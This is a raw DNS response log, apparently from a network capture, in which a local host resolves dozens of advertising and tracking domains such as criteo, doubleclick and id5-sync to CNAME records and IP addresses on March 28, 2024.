Mar 28, 2024 09:51:24.158487082 CET	1.1.1.1	192.168.2.4	0xb176	No error (0)	match.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.179567099 CET	1.1.1.1	192.168.2.4	0x152c	No error (0)	cdn.codesour.com	1910864371.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.400443077 CET	1.1.1.1	192.168.2.4	0xd36f	No error (0)	pixel.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.400443077 CET	1.1.1.1	192.168.2.4	0xd36f	No error (0)	pixel-origin.mathtag.com		216.200.232.249	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.400443077 CET	1.1.1.1	192.168.2.4	0xd36f	No error (0)	pixel-origin.mathtag.com		216.200.232.253	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.401174068 CET	1.1.1.1	192.168.2.4	0xfe60	No error (0)	pixel.mathtag.com	pixel-origin.mathtag.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.405710936 CET	1.1.1.1	192.168.2.4	0xe56a	No error (0)	dmp.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.406411886 CET	1.1.1.1	192.168.2.4	0x643d	No error (0)	dmp.adform.net	track.adformnet.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.606069088 CET	1.1.1.1	192.168.2.4	0xd6f8	No error (0)	invstatic101.creativecdn.com		34.96.70.87	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.616662025 CET	1.1.1.1	192.168.2.4	0x31b8	No error (0)	cdn.adkaora.space	d29we5puufwqgv.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.617650986 CET	1.1.1.1	192.168.2.4	0xe7dd	No error (0)	cdn.adkaora.space	d29we5puufwqgv.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.617650986 CET	1.1.1.1	192.168.2.4	0xe7dd	No error (0)	d29we5puufwqgv.cloudfront.net		13.249.39.105	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.617650986 CET	1.1.1.1	192.168.2.4	0xe7dd	No error (0)	d29we5puufwqgv.cloudfront.net		13.249.39.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.617650986 CET	1.1.1.1	192.168.2.4	0xe7dd	No error (0)	d29we5puufwqgv.cloudfront.net		13.249.39.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.617650986 CET	1.1.1.1	192.168.2.4	0xe7dd	No error (0)	d29we5puufwqgv.cloudfront.net		13.249.39.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.208.144.215	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		44.216.86.20	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		54.210.30.134	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		18.213.142.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.254.92	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.73.224.74	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		3.93.32.71	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.639604092 CET	1.1.1.1	192.168.2.4	0xc2f6	No error (0)	partners-alb-1113315349.us-east-1.elb.amazonaws.com		52.20.155.182	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.640525103 CET	1.1.1.1	192.168.2.4	0xf95f	No error (0)	partners.tremorhub.com	partners-alb-1113315349.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.712717056 CET	1.1.1.1	192.168.2.4	0x3463	No error (0)	gum.criteo.com	gum.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.712717056 CET	1.1.1.1	192.168.2.4	0x3463	No error (0)	gum.va1.vip.prod.criteo.com		74.119.119.139	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.713490009 CET	1.1.1.1	192.168.2.4	0xc812	No error (0)	gum.criteo.com	gum.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:24.722151995 CET	1.1.1.1	192.168.2.4	0x1c84	No error (0)	id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.253725052 CET	1.1.1.1	192.168.2.4	0x5ede	No error (0)	tags.crwdcntrl.net		18.160.46.85	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.253725052 CET	1.1.1.1	192.168.2.4	0x5ede	No error (0)	tags.crwdcntrl.net		18.160.46.56	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.253725052 CET	1.1.1.1	192.168.2.4	0x5ede	No error (0)	tags.crwdcntrl.net		18.160.46.59	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.253725052 CET	1.1.1.1	192.168.2.4	0x5ede	No error (0)	tags.crwdcntrl.net		18.160.46.100	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.255601883 CET	1.1.1.1	192.168.2.4	0xb610	No error (0)	widgets.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.255861044 CET	1.1.1.1	192.168.2.4	0x7b2a	No error (0)	widgets.outbrain.com	wildcard.outbrain.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		18.214.22.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		107.23.193.229	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		44.219.90.173	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		52.207.168.130	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		18.207.42.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		34.232.211.121	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		34.224.142.24	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.257947922 CET	1.1.1.1	192.168.2.4	0x83e2	No error (0)	id.crwdcntrl.net		44.205.216.19	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.260170937 CET	1.1.1.1	192.168.2.4	0x11cd	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.260183096 CET	1.1.1.1	192.168.2.4	0xc5b3	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261113882 CET	1.1.1.1	192.168.2.4	0xb1ce	No error (0)	csync.smilewanted.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:25.261507988 CET	1.1.1.1	192.168.2.4	0xc57f	No error (0)	csync.smilewanted.com		104.22.30.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261507988 CET	1.1.1.1	192.168.2.4	0xc57f	No error (0)	csync.smilewanted.com		172.67.14.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261507988 CET	1.1.1.1	192.168.2.4	0xc57f	No error (0)	csync.smilewanted.com		104.22.31.209	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261570930 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	acdn.adnxs.com	prod.appnexus.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261570930 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	prod.appnexus.map.fastly.net		151.101.193.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261570930 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	prod.appnexus.map.fastly.net		151.101.1.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261570930 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	prod.appnexus.map.fastly.net		151.101.65.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.261570930 CET	1.1.1.1	192.168.2.4	0xdd0d	No error (0)	prod.appnexus.map.fastly.net		151.101.129.108	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267482996 CET	1.1.1.1	192.168.2.4	0x3156	No error (0)	sync.admanmedia.com		8.2.110.17	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267482996 CET	1.1.1.1	192.168.2.4	0x3156	No error (0)	sync.admanmedia.com		8.2.110.26	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267978907 CET	1.1.1.1	192.168.2.4	0xf06	No error (0)	onetag-sys.com		51.222.39.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267978907 CET	1.1.1.1	192.168.2.4	0xf06	No error (0)	onetag-sys.com		51.222.239.232	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267978907 CET	1.1.1.1	192.168.2.4	0xf06	No error (0)	onetag-sys.com		51.222.39.185	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267978907 CET	1.1.1.1	192.168.2.4	0xf06	No error (0)	onetag-sys.com		51.222.39.187	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267978907 CET	1.1.1.1	192.168.2.4	0xf06	No error (0)	onetag-sys.com		51.222.239.230	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.267978907 CET	1.1.1.1	192.168.2.4	0xf06	No error (0)	onetag-sys.com		51.222.39.184	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270395041 CET	1.1.1.1	192.168.2.4	0x94bb	No error (0)	js-sec.indexww.com		172.64.149.180	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270395041 CET	1.1.1.1	192.168.2.4	0x94bb	No error (0)	js-sec.indexww.com		104.18.38.76	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor.omnitagjs.com	visitor-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		52.12.180.5	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		35.166.23.142	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		52.41.55.190	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		34.223.242.45	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		52.34.209.244	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		52.33.246.226	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		52.89.105.164	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.270908117 CET	1.1.1.1	192.168.2.4	0x7e14	No error (0)	visitor-us-west-2.omnitagjs.com		35.167.5.13	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.271440029 CET	1.1.1.1	192.168.2.4	0x33ae	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.271522999 CET	1.1.1.1	192.168.2.4	0xf069	No error (0)	sync.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.271522999 CET	1.1.1.1	192.168.2.4	0xf069	No error (0)	dc13-prebid.a-mx.net		147.28.129.140	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.271522999 CET	1.1.1.1	192.168.2.4	0xf069	No error (0)	dc13-prebid.a-mx.net		147.28.146.89	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.271522999 CET	1.1.1.1	192.168.2.4	0xf069	No error (0)	dc13-prebid.a-mx.net		147.28.129.37	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	nava.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		23.22.53.123	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.206.138.188	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		52.200.146.15	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		50.19.226.79	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.230.240.126	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		3.209.7.102	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		18.209.86.186	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.272828102 CET	1.1.1.1	192.168.2.4	0x153f	No error (0)	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		34.197.87.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.273539066 CET	1.1.1.1	192.168.2.4	0xe9ea	No error (0)	sync.a-mo.net	dc13-prebid.a-mx.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.274630070 CET	1.1.1.1	192.168.2.4	0xaf31	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.274630070 CET	1.1.1.1	192.168.2.4	0xaf31	No error (0)	vap.lijit.com	nase.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.274630070 CET	1.1.1.1	192.168.2.4	0xaf31	No error (0)	nase.vap.lijit.com	blackbird-prd-ue1-alb-1973039460.us-east-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:25.277282953 CET	1.1.1.1	192.168.2.4	0x4776	No error (0)	js-sec.indexww.com			65	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		141.95.98.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.119	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.116	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		141.95.33.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.120	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.83	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.117	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.118	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		141.95.98.64	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:25.892113924 CET	1.1.1.1	192.168.2.4	0x44c9	No error (0)	lb.eu-1-id5-sync.com		162.19.138.82	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.110079050 CET	1.1.1.1	192.168.2.4	0x8a81	No error (0)	cdn.prod.uidapi.com	d2avimlm6gq3h9.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.110079050 CET	1.1.1.1	192.168.2.4	0x8a81	No error (0)	d2avimlm6gq3h9.cloudfront.net		99.84.210.115	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.110394001 CET	1.1.1.1	192.168.2.4	0xcab3	No error (0)	cdn.prod.uidapi.com	d2avimlm6gq3h9.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.145899057 CET	1.1.1.1	192.168.2.4	0x21ae	No error (0)	csync-us.smartadserver.com	csync-us.smartadserver.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.146202087 CET	1.1.1.1	192.168.2.4	0xe21c	No error (0)	csync-us.smartadserver.com	csync-us.smartadserver.com.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.332170963 CET	1.1.1.1	192.168.2.4	0xcd41	No error (0)	s.amazon-adsystem.com		52.46.151.131	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.335105896 CET	1.1.1.1	192.168.2.4	0x2589	No error (0)	cm.g.doubleclick.net		142.250.31.155	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.335105896 CET	1.1.1.1	192.168.2.4	0x2589	No error (0)	cm.g.doubleclick.net		142.250.31.156	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		54.84.169.242	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		3.234.11.34	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		54.236.234.62	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		54.225.221.22	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		52.22.221.65	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		35.153.195.204	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		23.21.164.251	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.336798906 CET	1.1.1.1	192.168.2.4	0x1a15	No error (0)	idaas-ext.cph.liveintent.com		34.206.227.129	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.338498116 CET	1.1.1.1	192.168.2.4	0x9278	No error (0)	i.liadm.com	idaas-ext.cph.liveintent.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.355062008 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	bttrack.com		192.132.33.68	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.355062008 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	bttrack.com		192.132.33.67	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.355062008 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	bttrack.com		192.132.33.69	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.365123987 CET	1.1.1.1	192.168.2.4	0x182e	No error (0)	pixel-sync.sitescout.com		34.36.216.150	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.365236998 CET	1.1.1.1	192.168.2.4	0xe348	No error (0)	dmp.brand-display.com		34.160.19.107	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.369853973 CET	1.1.1.1	192.168.2.4	0x69f	No error (0)	um.simpli.fi		34.150.170.96	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.369853973 CET	1.1.1.1	192.168.2.4	0x69f	No error (0)	um.simpli.fi		35.236.220.17	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.369853973 CET	1.1.1.1	192.168.2.4	0x69f	No error (0)	um.simpli.fi		35.194.66.159	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.600214958 CET	1.1.1.1	192.168.2.4	0xf3ca	No error (0)	connectid.analytics.yahoo.com	d1402xccwihzsp.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.600392103 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	connectid.analytics.yahoo.com	d1402xccwihzsp.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.600392103 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	d1402xccwihzsp.cloudfront.net		52.85.132.66	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.600392103 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	d1402xccwihzsp.cloudfront.net		52.85.132.111	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.600392103 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	d1402xccwihzsp.cloudfront.net		52.85.132.91	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.600392103 CET	1.1.1.1	192.168.2.4	0x89d4	No error (0)	d1402xccwihzsp.cloudfront.net		52.85.132.113	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.648256063 CET	1.1.1.1	192.168.2.4	0xc6aa	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.648256063 CET	1.1.1.1	192.168.2.4	0xc6aa	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.648256063 CET	1.1.1.1	192.168.2.4	0xc6aa	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.648628950 CET	1.1.1.1	192.168.2.4	0xa807	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.648628950 CET	1.1.1.1	192.168.2.4	0xa807	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.648628950 CET	1.1.1.1	192.168.2.4	0xa807	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.662678003 CET	1.1.1.1	192.168.2.4	0x3b1c	No error (0)	pr-bh.ybp.yahoo.com	ds-pr-bh.ybp.gysm.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 28, 2024 09:51:26.662678003 CET	1.1.1.1	192.168.2.4	0x3b1c	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		184.73.166.124	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.662678003 CET	1.1.1.1	192.168.2.4	0x3b1c	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		3.222.125.12	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.662678003 CET	1.1.1.1	192.168.2.4	0x3b1c	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		44.195.186.221	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:26.662678003 CET	1.1.1.1	192.168.2.4	0x3b1c	No error (0)	ds-pr-bh.ybp.gysm.yahoodns.net		35.169.224.111	A (IP address)	IN (0x0001)	false
